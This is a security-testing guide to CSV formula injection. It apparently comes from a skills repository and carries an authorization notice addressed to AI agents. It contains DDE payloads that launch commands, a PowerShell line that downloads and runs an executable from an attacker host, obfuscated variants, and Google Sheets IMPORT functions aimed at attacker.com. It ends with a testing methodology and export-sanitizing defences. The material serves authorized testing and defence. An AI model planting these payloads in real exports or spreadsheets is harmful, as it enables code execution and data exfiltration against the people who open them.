csv-formula-injection

Imported from yaklang/hack-skills (skills/csv-formula-injection/SKILL.md) via skills.sh. Install upstream with npx skills add yaklang/hack-skills --skill csv-formula-injection. Copyright stays with the author.

SKILL: CSV Formula Injection

AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.

0. QUICK START

Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):

=
+
-
@

Test cells may look like:

name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)

Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.

1. DDE INJECTION (EXCEL / LIBREOFFICE)

Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:

DDE("cmd";"/C calc";"!A0")A0

@SUM(1+1)*cmd|' /C calc'!A0

=2+5+cmd|' /C calc'!A0

=cmd|' /C calc'!'A1'

PowerShell-style chaining (lab only; replace host and payload with benign equivalents):

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

2. OBFUSCATION

Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):

AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A

Extra whitespace after =:

=         cmd|'/c calc.exe'!A

Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):

=    C    m D    |'/c calc.exe'!A

rundll32 style:

=rundll32|'URL.dll,OpenURL calc.exe'!A

3. GOOGLE SHEETS

If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:

Data exfiltration / probe (replace URL with your authorized callback):

=IMPORTXML("http://attacker.com/", "//a/@href")

Other high-risk imports:

=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")

Document which function executed and what network side effects occurred.

4. TESTING METHODOLOGY

1. Map sinks — Any feature that emits CSV, XLSX, or tab-separated output: admin exports, audit logs, user rosters, billing reports, search results.
2. Trace user-controlled fields — Profile fields, ticket titles, transaction memos, tags, filenames in ZIP exports—any column that echoes stored input.
3. Inject formula prefixes — Start with benign arithmetic (=1+1, +1+1) to detect evaluation; escalate only per rules.
4. Open in target software — Match victim workflow: Excel desktop, LibreOffice, Google Sheets import, locale-specific decimal separators.
5. Evidence — Screenshot/capture whether the cell shows a calculated result, a security warning, or DDE prompt; note product version.

Note: focus on the user input -> export -> opened in spreadsheet software chain.

5. DEFENSE

Application and export-layer mitigations:

• Prefix with single quote — In many spreadsheet apps, leading ' forces text interpretation: '=cmd|... displays literally.
• Prefix with tab — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly.
• Strip or neutralize leading triggers — Remove or escape leading =, +, -, @ (and Unicode lookalikes) at export time.
• CSV encoding — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization.
• User education — Do not enable external data / DDE without policy.

Example safe export transformation (conceptual):

Input:  =1+1
Output: '=1+1   OR   \t=1+1   OR   (empty prefix) with escaped quotes per RFC 4180

Note: when correlating business exports, reports, and API export parameters, combine with injection, business-logic, and API-security skills.